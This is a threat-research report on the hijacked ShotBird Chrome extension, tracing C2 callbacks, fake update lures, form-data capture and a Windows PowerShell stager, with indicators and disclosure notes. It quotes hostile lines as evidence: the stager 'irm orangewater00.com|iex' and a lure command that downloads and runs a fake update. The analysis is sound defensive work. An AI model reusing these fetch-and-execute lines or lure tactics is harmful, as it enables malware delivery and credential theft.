From a Sophisticated Browser-Extension Supply-Chain Compromise to a VibeCoded Twist: A Chrome Extension as the Initial Access Vector for a Broader Malware Chain

ShotBird Extension Malware Report hero image

March 8, 2026 - browser extension security, threat research, incident response, c2 analysis, extension malware.

This write-up documents how a Featured extension was turned into a callback-driven malware channel using remote task scripts, fake update lures, and form-data capture.

Canonical repository: github.com/monxresearch-sec/shotbird-extension-malware-report

Open to security research opportunities (full-time or contract). Contact: monxresearch@gmail.com

TL;DR

A formerly legitimate Featured Chrome extension (ShotBird) was turned into a remote-controlled malware channel after an apparent ownership transfer. The malicious version beaconed to attacker infrastructure, received callback-delivered JavaScript tasks, stripped browser security headers, injected fake Chrome update lures, and captured sensitive form data. In the observed Windows file-delivery path, victims were pushed to run googleupdate.exe, a fake update wrapper that carried a real Google-signed ChromeSetup.exe alongside a malicious psfx.msi stager. Host-side PowerShell 4104 logs later confirmed execution of the decoded stager irm orangewater00.com|iex and allowed reconstruction of a larger second stage with ETW suppression, Credential Manager access, Chromium data targeting, and upload logic. In short: this was not just extension abuse, but a browser-to-endpoint compromise chain with likely credential-theft capability.

1) Intro

Extension Profile

Field Value
Extension Name ShotBird - Scrolling Screenshots, Tweet Images & Editor
Extension ID gengfhhkjekmlejbhmmopegofnoifnjp
Version (sample analyzed) 2.1
Manifest Version 3
Developer Email (current) loraprice198865@gmail.com
Developer Email (pre-transfer) akshayanuonline@gmail.com

Source: local manifest.json from the analyzed package and archived Chrome Web Store listing.

ShotBird extension listing/profile screenshot

Launch Timeline (Short)

Notable Post-Launch Event

2) How I Found It

I first caught this through amateur console logging left in callback-delivered scripts. (out of nowhere this started showing in chrome’s console in all sites)

Console log traces that exposed the behavior

Examples observed:

console.log('Found update button')
console.log('Update button clicked')
console.log('initApp executed successfully')
console.warn('Update button not found, retrying...')
console.log('Setting up event handlers for mode:', updateData.mode)
console.log('Found copy button')
console.log('Copy button clicked')
console.log('DOM fully loaded, setting up event handlers')
debugLog('Initializing grabber...')
debugLog('Grabber initialized')
debugLog(`Found ${inputs.length} form elements`)

What I found interesting about this:

Vibecoding indicators observed in callback payloads:

Russian-language artifacts:

3) Investigation Method

Identifier policy in this article:

4) Findings At a Glance

Four callback task families were observed:

  1. History/page metadata beaconing.
  2. Fake-update UI injection from remote templates.
  3. Form-input capture and task completion reporting.
  4. Follow-on Windows payload staging via googleupdate.exe.

Figure 1 - High-level flow

End-to-End Behavior Chain (Extension Vector -> Malware Vector)

This campaign is easier to understand as two linked vectors:

  1. Extension vector (in-browser control):
    • The extension beacons to /extensions/setup, polls /extensions/callback, and executes remotely supplied scripts.
    • Those scripts inject fake update UI across visited pages and exfiltrate selected form inputs via /extensions/finish.
    • Backend-controlled mode selection decides whether victims see file-download lures (mode:file) or command-copy lures (mode:command).
  2. User execution pivot:
    • Victim is pressured to execute the offered “update” path (downloaded EXE or copied command).
    • This is the bridge from browser-only abuse into host-level execution.
  3. Malware/install vector (host-level execution):
    • In observed mode:file, victim receives googleupdate.exe.
    • Static triage shows the wrapper includes a real Google-signed Chrome installer component (ChromeSetup.exe) and a separate stager component (psfx.msi).
    • psfx.msi runs encoded PowerShell that decodes to irm orangewater00.com|iex.
    • On an affected Windows host, PowerShell Script Block Logging (Event ID 4104) preserved both the first-stage stager and a much larger second-stage script block, allowing partial reconstruction of post-download behavior without detonating the payload live.

Operationally: the real Chrome installer path can reduce suspicion while the stager path executes in parallel.

5) Technical Findings

Infrastructure and Endpoint Surface

Observed hosts:

Observed endpoint families:

https://1.1.1.1/cdn-cgi/trace is used to parse loc= country data during setup telemetry.

Figure 2 - Endpoint map screenshot

Callback Task Behavior

Task A: History Beacon

Task B: Updater Injection

Observed command-mode example:

Invoke-WebRequest -Uri https://update.chrome.google.com/install.exe -OutFile chrome_update.exe; Start-Process chrome_update.exe

Task C: Input Grabber

Task D: CSP / Security Header Stripping (rules.json)

Figure 3 - Callback script excerpt

Fake Update Template Findings (ggl.lat)

Figure 5b - Fake update bar screenshot

Figure 5b - Fake update bar screenshot Figure 5 - Fake update modal screenshot Figure 6 - Fake update page screenshot

Static Triage and Host-Side Reconstruction of googleupdate.exe

We documented this in two complementary tracks: what was inside the delivered binary, and what actually executed on host.

Static payload evidence (what was inside delivered binary)

Execution evidence (what actually ran on host)

$log = "Microsoft-Windows-PowerShell/Operational"
Get-WinEvent -FilterHashtable @{ LogName = $log; Id = 4104 } |
  Sort-Object TimeCreated |
  Select-Object TimeCreated, Id, Message |
  Out-File -Encoding UTF8 evidence/01_powershell_4104.txt

6) Live Validation Results

Active Probe State (1d4b0fa7-c150-4b55-bb3b-1ed4bb5a7632)

Uninstalled-State Probe (b3928423-3198-494a-9630-6894921545ca)

After uninstall-state transition, finish posts returned:

Original UUID State (xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)

Task-ID Progression Signal

In the captured dataset, task IDs observed across probes include 64058/64059/64060 and later 64067/64068/64069. This confirms active task churn, but by itself does not establish victim volume.

Figure 4 - Probe response comparison

7) Security Impact

This is a two-stage abuse chain: extension-side remote browser control plus host-level execution pivot via fake updates. The result is high-risk data exposure in-browser and confirmed host-side script execution on at least one affected system.

Recovered host evidence shows the follow-on PowerShell stager was not inert: it fetched remote code from orangewater00.com, reconstructed into a larger second stage that suppresses PowerShell ETW logging, enumerates Windows Credential Manager entries, targets Chromium browser data (Login Data, Web Data), and contains upload logic. In practical terms, this elevates the impact from browser-only abuse to likely credential theft and broader endpoint compromise.

The infrastructure naming pattern in this case (api.getextensionanalytics.top, callback-delivered task scripts, /extensions/finish reporting endpoints) matches a separate campaign documented by Annex Security in February 2026 involving the QuickLens extension (kdenlnncndfnhkognokgfpabgkgehodd) communicating with api.extensionanalyticspro.top (annex.security/blog/pixel-perfect).

Key overlaps between the two cases:

Key differences:

These cases are assessed as the same threat actor family operating multiple compromised extensions in parallel.

9) Indicators of Interest

Type Value
Extension ID gengfhhkjekmlejbhmmopegofnoifnjp
Developer Email (current, post-transfer) loraprice198865@gmail.com
Developer Email (pre-transfer, Dec 2025 archive) akshayanuonline@gmail.com
API Host api.getextensionanalytics.top
Remote Content Host ggl.lat
Decoded Stage Domain (psfx.msi) orangewater00.com (DNS A: 185.178.231.112 as of March 8, 2026)
Lookalike Domain in Command Flow update.chrome.google.com (Chrome-branded lookalike; differs from update.googleapis.com)
Payload URL Observed https://baysideceu.com/wp-content/uploads/googleupdate.exe
Trace Endpoint in Logic https://1.1.1.1/cdn-cgi/trace
Outer Payload SHA256 E8D2ED43386B322DA02C1CFCAEFEBD88D6B470D6CD11F02C20712CF1E8FD8413
Embedded ChromeSetup.exe SHA256 2BD2FB9D75BC7D0F90597BDB451A7B9B1A5441D632CD43201D45B46900E6DF81
Embedded psfx.msi SHA256 0DB5D0DC85E06108179FD0C15D69FB40FCBC478B241FAB16F11C25E93A5F3DC7
Related Campaign C2 api.extensionanalyticspro.top (Annex/QuickLens case)

10) Responsible Disclosure

Reported on March 7-8, 2026 to Google Safe Browsing and Chrome Web Store abuse channels. Public case IDs are not included in this write-up. As of March 9, 2026, the extension listing became unavailable in the Chrome Web Store UI after publication and reporting.

11) Research Backlog

Additional Investigation Needed: Downstream Stages

12) Evidence Package

This bundle includes supporting artifacts under evidence/:

Extension / infrastructure evidence

Payload static analysis

Host-side confirmation